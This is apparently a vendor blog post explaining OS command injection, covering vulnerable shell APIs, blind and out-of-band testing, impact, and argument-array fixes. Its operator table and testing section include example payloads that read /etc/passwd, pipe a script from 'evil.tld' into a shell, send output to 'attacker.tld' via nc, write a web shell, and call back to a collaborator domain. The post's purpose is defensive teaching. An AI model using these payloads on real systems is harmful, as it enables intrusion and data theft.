Skip to content
Back to Blog
·10 min read·technology

Command Injection: Exploitation and Prevention for Devs

How OS command injection reaches the shell, blind vs in-band exploitation, real RCE impact, and the safe-API fixes Indian dev teams need to stop it now.

BR

Bachao.AI Research Team

Cybersecurity Research

Scan Your Attack Surface

Security exposure this creates

Unpatched vulnerabilities in your tech stack are the #1 entry point for breaches targeting Indian businesses. Here's what to watch.

Command injection happens when an application passes unsanitised user input into a system shell call, letting an attacker append their own operating system commands to the one the developer intended. The result is often full remote code execution (RCE) — the attacker's command runs with the same privileges as the vulnerable application, which on a misconfigured server can mean reading /etc/passwd, dropping a reverse shell, or pivoting into the internal network. It is distinct from SQL injection (which targets a database) and XSS (which targets a browser) because the payload is interpreted directly by the host operating system.

For Indian engineering teams building on Node, Python, PHP, or Java and shipping features that touch the filesystem, image processing, PDF generation, network utilities, or DevOps tooling, command injection remains one of the most damaging — and most preventable — vulnerability classes found in penetration tests today.

How Unsanitised Input Reaches the Shell

The vulnerability is almost always introduced through a convenience function: a call that hands a string to the operating system's shell interpreter (/bin/sh on Linux, cmd.exe on Windows) instead of executing a program directly. Common culprits across languages:

    1. Node.js: child_process.exec(), execSync()
    2. Python: os.system(), subprocess.run(..., shell=True), os.popen()
    3. PHP: shell_exec(), system(), exec(), passthru(), backticks
    4. Java: Runtime.getRuntime().exec() when passed a single concatenated string
    5. Ruby: ` backticks , system(), Kernel#exec` with shell interpolation
Any of these becomes exploitable the moment a request parameter, uploaded filename, HTTP header, or config value is concatenated straight into the command string. A classic example: a "ping this host" diagnostic feature.
js
// Vulnerable Node.js example
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, stdout) => {
    res.send(stdout);
  });
});

A legitimate request supplies host=example.com. An attacker instead supplies host=example.com; cat /etc/passwd — and because the string is handed to a shell, the semicolon terminates the first command and starts a second one that the developer never intended to run.

⚠️
WARNING
The bug is not "the developer forgot validation." It is architectural: any function that shells out with a concatenated string is exploitable by design the moment untrusted input touches it — validation is a mitigation layered on top, not a fix for the root cause.

Chaining and Metacharacter Operators

Shell interpreters treat certain characters as control operators rather than literal text. An attacker who finds an injection point uses these to append, chain, or substitute commands:

OperatorShell behaviourExample payload
;Runs next command regardless of the first's resulthost=x; whoami
&&Runs next command only if the first succeedshost=x && curl evil.tld/x.sh\sh
\\Runs next command only if the first failshost=invalid \\id
\Pipes output of first command into secondhost=x \nc attacker.tld 4444
` or $()Command substitution — output is inlined host=whoami `
&Backgrounds a command (Windows/Unix)host=x & net user
> <Redirects output/input, can overwrite fileshost=x > /var/www/shell.php
Chaining these lets an attacker construct multi-stage payloads inside a single input field — download a script, make it executable, and run it, all in one injected string.

Blind vs In-Band Command Injection

In-band (visible) injection is easiest to find: the application returns the command's output directly in the HTTP response, as in the ping example above, confirming the vulnerability immediately.

Blind command injection is more common in production, where output is not reflected back. The attacker relies on out-of-band signals instead:

    1. Time-based: inject ; sleep 10 and measure whether the response takes ~10 seconds longer than baseline — a reliable signal with zero visible output.
    2. Out-of-band (OOB): inject a command that forces an outbound request to an attacker-controlled domain, e.g. ` ; curl http://$(whoami).attacker-collab.net . Tools like Burp Collaborator or interactsh` are built to catch these callbacks.
    3. File-write confirmation: write a uniquely named file to a web-accessible directory, then request it directly to confirm execution.
🚨
DANGER
Blind injection is not "lower severity" — it is frequently found in exactly the internal tools, backup scripts, and admin panels least likely to have monitoring in place, making it a favourite for attackers who have already gained a foothold and are looking to escalate quietly.

Know your vulnerabilities before attackers do

Run a free VAPT scan — takes 5 minutes, no signup required.

Book Your Free Scan

Real Impact: From Injection to RCE

Once command execution is confirmed, the practical impact typically escalates through these stages:

  1. Reconnaissancewhoami, id, uname -a to fingerprint the box and privilege level.
  2. Foothold — drop a reverse shell for interactive access instead of one-shot commands.
  3. Privilege escalation — check for misconfigured sudo rights, writable cron jobs, or exposed cloud metadata endpoints that leak IAM credentials.
  4. Lateral movement — read secrets and .env files on the same host; pivot to internal services the internet cannot reach.
  5. Persistence and exfiltration — add SSH keys or webshells; exfiltrate customer data.
Because the injected command runs with the application's own OS-level privileges, a single unsanitised parameter can be the difference between a contained bug and a full server compromise — why command injection ranks inside OWASP's Top 10 injection category and why testers prioritise finding it early.
graph TD A[User input field] --> B[Concatenated into shell command] B --> C[Attacker injects operator] C --> D[Shell executes both commands] D --> E[Remote code execution] E --> F[Remediate with safe API] style A fill:#1e3a5f,stroke:#3B82F6,color:#e2e8f0 style B fill:#1e3a5f,stroke:#3B82F6,color:#e2e8f0 style C fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style D fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style E fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0 style F fill:#1e3d2f,stroke:#10B981,color:#e2e8f0

Injection Vulnerability Class Share

Command injection sits alongside SQL injection and XSS as a recurring category among injection-class findings in web application penetration tests. The illustrative split below reflects the relative frequency typically seen across these classes, not a single cited report:

pie title Illustrative Injection Findings By Class "SQL injection" : 34 "Cross-site scripting" : 30 "Command injection" : 18 "XXE and template injection" : 10 "LDAP and other injection" : 8

Discovery Methodology

A structured approach for finding command injection during code review or manual testing:

  1. Map the attack surface — identify every feature that could plausibly shell out: diagnostics, image/PDF conversion, file compression, backup/export tools, DevOps webhooks, and any "run this on the server" admin feature.
  2. Trace data flow — follow input from the HTTP layer to where it is consumed. If it reaches exec, system, popen, Runtime.exec, or a shell-invoking library function, flag it.
  3. Test with safe probes first — time-based payloads (; sleep 5) rather than destructive ones; a 5-second delay is a strong, low-risk confirmation signal.
  4. Escalate to OOB confirmation — for blind cases with no visible timing difference, use an out-of-band collaborator domain to catch DNS/HTTP callbacks.
  5. Check library-mediated calls too — frameworks for image, PDF, and archive handling often shell out internally, so a vulnerable dependency can introduce this bug without the application code ever calling exec directly.
💡
TIP
Static analysis (SAST) tools reliably flag direct calls to exec/system/shell_exec with variable input, but they routinely miss injection reached through a third-party library. Pair SAST with a manual review of every dependency that touches files, images, or external binaries — and confirm exploitability with dynamic testing rather than trusting the static finding alone.

Defence: Eliminate the Shell, Don't Just Sanitise the Input

Blacklisting dangerous characters is a losing game — shell metacharacter sets are large, platform-dependent, and easy to miss an edge case in. The reliable fix removes the shell from the equation entirely.

  1. Avoid shelling out wherever possible. Use a language-native library instead of a wrapped OS command. Need to resize an image? Use an image-processing library, not a convert shell call. Need to check a hostname? Use DNS resolution APIs, not a wrapped ping.
  2. When you must run an external process, use argument-array APIs — never string concatenation. These pass arguments directly to the process without an intermediate shell parsing them, so shell metacharacters lose their special meaning.
- Node.js: execFile(cmd, [arg1, arg2]) or spawn(cmd, [arg1, arg2]) instead of exec() - Python: subprocess.run([cmd, arg1, arg2], shell=False) — never shell=True with untrusted input - Java: Runtime.exec(String[] cmdArray) with each argument as a separate array element - PHP: escapeshellarg() on every argument at minimum, but prefer avoiding shell_exec entirely
  1. Allow-list, don't deny-list, input values. If a parameter should only ever be one of a known set of values (a country code, a file format, a predefined action), validate against that exact allow-list and reject everything else — don't try to strip "bad" characters from free text.
  2. Never let user input control the command name or path itself, only validated arguments. Letting input choose which binary runs is a separate, equally dangerous mistake.
  3. Run with least privilege. If a process must shell out, run it as a low-privilege service account with no access to secrets, other users' files, or the internal network — so a missed injection point has a contained blast radius.
  4. Sandbox where feasible. Containerise or use OS-level sandboxing (seccomp, AppArmor, gVisor) for any feature that processes untrusted files or invokes external tools, limiting what a successful injection can actually reach.
🎯Key Takeaway
Command injection is fixed architecturally, not cosmetically: replace shell-string concatenation with argument-array execution APIs and allow-listed inputs, and an entire vulnerability class disappears — no character-blacklist can offer the same guarantee.

Fixed Example

js
// Safe: execFile with an argument array, no shell involved
const { execFile } = require('child_process');
const ALLOWED_HOSTS = /^[a-zA-Z0-9.-]+$/;

app.get('/ping', (req, res) => {
  const host = req.query.host;
  if (!ALLOWED_HOSTS.test(host)) return res.status(400).send('Invalid host');
  execFile('ping', ['-c', '4', host], (err, stdout) => {
    res.send(stdout);
  });
});

execFile passes host as a discrete argument to the ping binary — there is no shell to interpret ;, |, or ` `` as control operators, so injection payloads are treated as literal (and here, rejected) hostname text.

9%Confirmed breaches following the Basic Web Application Attacks pattern (Verizon DBIR 2024)
19%Maximum incidence rate recorded for injection-category flaws across tested applications (OWASP Top 10 2021)

Where This Fits in a Broader Security Programme

Command injection findings surface repeatedly in penetration tests against internal admin tools, DevOps dashboards, and legacy features that predate a team's current security review process — precisely because they are easy to miss in a quick manual code read and easy to overlook in automated scans tuned mainly for SQLi and XSS. A structured VAPT engagement that specifically probes file-handling, diagnostic, and export features — including blind, time-based, and OOB confirmation techniques — catches these before an attacker does. Dhisattva AI Pvt Ltd built its automated VAPT platform for Indian dev teams to run exactly this class of check on every scan. For organisations handling personal data under the DPDP Act, an RCE from command injection is also a reportable security incident with compliance consequences; see our DPDP compliance guide for what that obligation looks like in practice.

ℹ️
INFO
OWASP's Command Injection guidance and the OWASP Top 10 injection category remain the standard reference for secure coding patterns across every major language. NIST's Secure Software Development Framework covers the same input-handling discipline at a process level.

Running a free VAPT scan against your application surfaces command injection and related OS-level flaws before they reach production, and further reading is available on the Bachao.AI blog.

Checklist for Dev Teams

ControlWhy it matters
No exec/system/shell_exec with concatenated stringsRemoves the shell interpretation layer entirely
Argument-array APIs for all external process callsMetacharacters lose special meaning as literal arguments
Allow-list validation on any input reaching a process callRejects unexpected values outright, not just "bad" characters
Least-privilege service accounts for shelling processesContains blast radius if a bypass is found
Dependency review for libraries that wrap external binariesCatches injection introduced by third-party code
Regular VAPT covering file/export/diagnostic featuresFinds blind and OOB injection automated scanners miss

Frequently Asked Questions

Frequently Asked Questions

What is the difference between command injection and SQL injection?
Command injection exploits an operating system shell interpreting attacker-controlled input as an OS command, potentially leading to remote code execution on the host. SQL injection exploits a database query interpreter, typically leading to unauthorised data access or manipulation rather than direct OS-level control. They require different injection points, different payloads, and different fixes.
Can command injection happen without directly calling exec or system?
Yes. Many libraries for image processing, PDF generation, and archive handling shell out internally to external binaries. If such a library passes user-controlled input to that external call without sanitisation, the application inherits the vulnerability even though the developer never wrote an explicit shell call.
How do you test for blind command injection safely?
Start with time-based payloads like appending ; sleep 5 to an input field and measuring response delay against a baseline — a reliable, low-risk confirmation signal. For asynchronous or non-blocking code paths, use an out-of-band collaborator domain to catch DNS or HTTP callbacks triggered by the injected command.
Is input validation enough to prevent command injection?
Validation helps but is not sufficient alone, because shell metacharacter sets are large and easy to miss an edge case for. The reliable fix is to avoid shelling out altogether or use argument-array execution APIs, which remove the shell's ability to interpret metacharacters as control operators.
Which languages are most affected by command injection?
Any language with a convenience function that shells out is affected — Node.js (exec), Python (os.system, subprocess with shell=True), PHP (shell_exec, system), Java (Runtime.exec with a single string), and Ruby (backticks, system). The vulnerability is a pattern, not a language-specific bug.
Does containerisation prevent command injection?
No, but it limits the impact. A container still executes the injected command with whatever privileges the containerised process has, but a well-configured container (non-root user, read-only filesystem, no network egress, minimal capabilities) significantly reduces what an attacker can do after a successful injection.
BR

Bachao.AI Research Team

Cybersecurity Research

AI-powered security research and threat intelligence from the Bachao.AI team. Covering the latest vulnerabilities, CVEs, and cybersecurity developments affecting Indian businesses.

Get cybersecurity insights for Indian SMBs

Weekly vulnerability alerts, DPDP compliance tips, and security guides. No spam — unsubscribe anytime.

We respect your privacy. Your email is never shared.

Find out if you're exposed to this class of threat

Free automated scan — risk score in under 2 hours. No credit card required.

Scan Your Attack Surface
Find your vulnerabilitiesStart free scan →